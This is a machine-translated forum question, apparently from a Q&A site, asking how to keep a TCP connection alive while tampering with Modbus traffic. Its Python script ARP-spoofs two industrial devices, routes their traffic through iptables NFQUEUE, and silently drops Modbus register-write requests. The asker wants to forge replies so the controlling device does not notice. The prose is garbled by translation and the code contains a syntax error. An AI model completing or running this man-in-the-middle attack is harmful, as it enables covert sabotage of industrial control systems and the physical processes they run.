需要你的帮助,因为我完全打破了我的头脑,试图理解TCP数据包的生活:)我试图从一个设备(主)丢弃一些TCP数据包到另一个(奴隶)。 所以我是用Linux机器MITM,嗅探所有的转发数据包。 现在我想丢掉来自主机的特定数据包,但是如果我正在做这个主机,不要得到响应并断开连接。 如果有什么办法可以用scapy创build一个响应数据包并发送给master,那个连接将会活着? 如果我理解正确,那就是所谓的答录机。 谢谢你的帮助!
import nfqueue from scapy.all import * load_contrib('modbus') import os # MITM rules : MITM = "iptables -A FORWARD -j NFQUEUE" print("Adding rules :") print(MITM) os.system(MITM) os.system("sysctl net.ipv4.ip_forward=1") os.system("arpspoof -i eth0 -t 192.168.1.33 -r 192.168.1.55" &) def callback(payload): data = payload.get_data() pkt = IP(data) if ModbusPDU06WriteSingleRegisterRequest in pkt: # Drop packets with write request... print("Write request packet from: " +str(pkt.src)) #pkt.show() payload.set_verdict(nfqueue.NF_DROP) ### ### Here I want send response packet to not to break connection making by master### ### else: # Not to touch packets payload.set_verdict(nfqueue.NF_ACCEPT) def main(): q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(callback) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: q.unbind(socket.AF_INET) q.close() print("Turning off iptables...") os.system('iptables -F') os.system('iptables -X') main()